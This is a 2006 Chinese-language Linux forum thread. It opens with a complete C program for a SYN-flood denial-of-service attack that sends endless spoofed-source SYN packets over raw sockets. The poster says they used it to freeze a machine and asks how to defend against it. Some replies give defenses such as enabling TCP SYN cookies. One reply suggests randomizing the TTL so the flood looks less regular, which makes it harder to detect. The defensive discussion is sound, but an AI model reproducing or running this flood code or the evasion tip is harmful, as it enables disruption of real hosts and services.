免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 4901 | 回复: 14
打印 上一主题 下一主题

关于本版精华贴linux下c编程中的DOS攻击程序 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-10-20 19:37 |只看该作者 |倒序浏览
我用这个程序攻击了一台机器,效果很好,直接不动了。
如果别人有这个程序攻击我,我该怎么防范?

本版精华贴linux下c编程中的DOS攻击程序

  1. /******************** DOS.c *****************/
  2. #include <sys/socket.h>
  3. #include <netinet/in.h>
  4. #include <netinet/ip.h>
  5. #include <netinet/tcp.h>
  6. #include <stdlib.h>
  7. #include <errno.h>
  8. #include <unistd.h>
  9. #include <stdio.h>
  10. #include <netdb.h>
  11. #define DESTPORT 80
  12. #define LOCALPORT 8888
  13. void send_tcp(int sockfd,struct sockaddr_in *addr);
  14. unsigned short check_sum(unsigned short *addr,int len);
  15. int main(int argc,char **argv)
  16. {
  17. int sockfd;
  18. struct sockaddr_in addr;
  19. struct hostent *host;
  20. int on=1;
  21. if(argc!=2)
  22. {
  23. fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
  24. exit(1);
  25. }
  26. bzero(&addr,sizeof(struct sockaddr_in));
  27. addr.sin_family=AF_INET;
  28. addr.sin_port=htons(DESTPORT);
  29. if(inet_aton(argv[1],&addr.sin_addr)==0)
  30. {
  31. host=gethostbyname(argv[1]);
  32. if(host==NULL)
  33. {
  34. fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
  35. exit(1);
  36. }
  37. addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
  38. }

  39. sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
  40. if(sockfd<0)
  41. {
  42. fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
  43. exit(1);
  44. }

  45. setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
  46. setuid(getpid());
  47. send_tcp(sockfd,&addr);
  48. }
  49. void send_tcp(int sockfd,struct sockaddr_in *addr)
  50. {
  51. char buffer[100];
  52. struct ip *ip;
  53. struct tcphdr *tcp;
  54. int head_len;
  55. head_len=sizeof(struct ip)+sizeof(struct tcphdr);
  56. bzero(buffer,100);
  57. ip=(struct ip *)buffer;
  58. ip->ip_v=IPVERSION;
  59. ip->ip_hl=sizeof(struct ip)>>2;
  60. ip->ip_tos=0;
  61. ip->ip_len=htons(head_len);
  62. ip->ip_id=0;
  63. ip->ip_off=0;
  64. ip->ip_ttl=MAXTTL;
  65. ip->ip_p=IPPROTO_TCP;
  66. ip->ip_sum=0;
  67. ip->ip_dst=addr->sin_addr;

  68. tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
  69. tcp->source=htons(LOCALPORT);
  70. tcp->dest=addr->sin_port;
  71. tcp->seq=random();
  72. tcp->ack_seq=0;
  73. tcp->doff=5;
  74. tcp->syn=1;
  75. tcp->check=0;

  76. while(1)
  77. {
  78. ip->ip_src.s_addr=random();
  79. tcp->check=check_sum((unsigned short *)tcp,
  80. sizeof(struct tcphdr));
  81. sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr_in));
  82. }
  83. }
  84. unsigned short check_sum(unsigned short *addr,int len)
  85. {
  86. register int nleft=len;
  87. register int sum=0;
  88. register short *w=addr;
  89. short answer=0;
  90. while(nleft>1)
  91. {
  92. sum+=*w++;
  93. nleft-=2;
  94. }
  95. if(nleft==1)
  96. {
  97. *(unsigned char *)(&answer)=*(unsigned char *)w;
  98. sum+=answer;
  99. }
  100. sum=(sum>>16)+(sum&0xffff);
  101. sum+=(sum>>16);
  102. answer=~sum;
  103. return(answer);
  104. }
复制代码

论坛徽章:
0
2 [报告]
发表于 2006-10-20 19:50 |只看该作者
很熟悉的代码啊......

ip->ip_src.s_addr=random();


如果接收到的包向它发送一个ICMP响应,如果没有应答的话就拒绝. 这只是我的想法.
或发一个SYN给它, 看看有没有回应.

不过我觉得风暴的攻击更吓人 <(A_A)>

论坛徽章:
0
3 [报告]
发表于 2006-10-20 20:02 |只看该作者
分析行为,然后 block 掉?

BTW,好一点的硬防都应该可以抵御这样的攻击。普通操作系统的 TCP/IP 实现,太脆弱。

论坛徽章:
0
4 [报告]
发表于 2006-10-20 20:02 |只看该作者
如果接收到的包向它发送一个ICMP响应,如果没有应答的话就拒绝. 这只是我的想法.
或发一个SYN给它, 看看有没有回应.


如果我是windows系统,我被攻击了,具体有什么办法可以解除攻击?

论坛徽章:
0
5 [报告]
发表于 2006-10-20 20:06 |只看该作者
原帖由 langue 于 2006-10-20 20:02 发表
分析行为,然后 block 掉?

可以解释具体一点吗?我是说就被上面这个程序攻击有什么针对性的方法吗?

原帖由 langue 于 2006-10-20 20:02 发表
BTW,好一点的硬防都应该可以抵御这样的攻击。普通操作系统的 TCP/IP 实现,太脆弱。


那意思是pc就没办法防了!  

论坛徽章:
0
6 [报告]
发表于 2006-10-20 20:12 |只看该作者
原帖由 liuke432 于 2006-10-20 20:06 发表

可以解释具体一点吗?我是说就被上面这个程序攻击有什么针对性的方法吗?



那意思是pc就没办法防了!  


最方便的 PC 防护方法:block all

不过这样根本收发不了数据。可能我的理解是错误的,等老大出来再解释一下吧。

论坛徽章:
0
7 [报告]
发表于 2006-10-20 20:19 |只看该作者
原帖由 langue 于 2006-10-20 20:12 发表


最方便的 PC 防护方法:block all

不过这样根本收发不了数据。可能我的理解是错误的,等老大出来再解释一下吧。

哦 谢谢 暂时的解决方法只能是拔网线了

论坛徽章:
0
8 [报告]
发表于 2006-10-20 22:23 |只看该作者
个别人不要误导初学者.

Linux的话:

  1. echo 1 > /proc/sys/net/ipv4/tcp_syncookies
复制代码

论坛徽章:
0
9 [报告]
发表于 2006-10-20 22:40 |只看该作者

  1. ip->ip_ttl=MAXTTL;
复制代码

这里最好也 random 一下,否则太有规律了
另外

  1. ip->ip_id=0;
复制代码

不知道这个传出去以后对方接受到的是什么样子?会不会被沿途的 nat 设备或 router 改变了?没做过实验

论坛徽章:
0
10 [报告]
发表于 2006-12-22 14:32 |只看该作者
原帖由 JohnBull 于 2006-10-20 22:23 发表

Linux的话:

  1. echo 1 > /proc/sys/net/ipv4/tcp_syncookies
复制代码

请问斑竹这是什么原理?
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP